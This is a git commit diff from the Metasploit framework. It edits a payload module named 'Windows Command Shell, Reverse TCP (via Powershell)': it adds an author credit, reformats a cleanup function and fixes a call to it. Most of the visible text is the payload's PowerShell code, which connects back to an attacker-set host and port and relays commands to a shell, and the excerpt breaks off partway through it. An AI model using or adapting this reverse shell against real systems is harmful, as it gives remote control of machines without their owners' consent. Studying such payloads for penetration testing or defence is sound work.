Credit where credits due

bug/bundler_fix
Meatballs 2014-02-08 01:42:45 +00:00
parent efe4d6b41a
commit 80814adaf9
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
1 changed files with 6 additions and 4 deletions

View File

@ -17,7 +17,7 @@ module Metasploit3
super(merge_info(info, super(merge_info(info,
'Name' => 'Windows Command Shell, Reverse TCP (via Powershell)', 'Name' => 'Windows Command Shell, Reverse TCP (via Powershell)',
'Description' => 'Connect back and create a command shell via Powershell', 'Description' => 'Connect back and create a command shell via Powershell',
'Author' => 'Ben Campbell', #and Anon author of http://pastebin.com/dPPuTDKY 'Author' => ['Ben Campbell', 'Dave Kennedy'],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Platform' => 'win', 'Platform' => 'win',
'Arch' => ARCH_CMD, 'Arch' => ARCH_CMD,
@ -47,8 +47,10 @@ module Metasploit3
lhost = datastore['LHOST'] lhost = datastore['LHOST']
lport = datastore['LPORT'] lport = datastore['LPORT']
powershell = "function RSC{"\ powershell = "function RSC{"\
"if ($c.Connected -eq $true) {$c.Close()};"\ "if ($c.Connected -eq $true) {$c.Close()};"\
"if ($p.ExitCode -ne $null) {$p.Close()};exit;};"\ "if ($p.ExitCode -ne $null) {$p.Close()};"\
"exit;"\
"};"\
"$a='#{lhost}';$p='#{lport}';$c=New-Object system.net.sockets.tcpclient;"\ "$a='#{lhost}';$p='#{lport}';$c=New-Object system.net.sockets.tcpclient;"\
"$c.connect($a,$p);$s=$c.GetStream();"\ "$c.connect($a,$p);$s=$c.GetStream();"\
"$nb=New-Object System.Byte[] $c.ReceiveBufferSize;"\ "$nb=New-Object System.Byte[] $c.ReceiveBufferSize;"\
@ -62,7 +64,7 @@ module Metasploit3
"$s.Write($e.GetBytes($o),0,$o.Length);"\ "$s.Write($e.GetBytes($o),0,$o.Length);"\
"$o=$null;$d=$false;$t=0;"\ "$o=$null;$d=$false;$t=0;"\
"while (-not $d) {"\ "while (-not $d) {"\
"if ($c.Connected -ne $true) {cleanup};"\ "if ($c.Connected -ne $true) {RSC};"\
"$pos=0;$i=1; "\ "$pos=0;$i=1; "\
"while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\ "while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\
"$r=$s.Read($nb,$pos,$nb.Length - $pos);"\ "$r=$s.Read($nb,$pos,$nb.Length - $pos);"\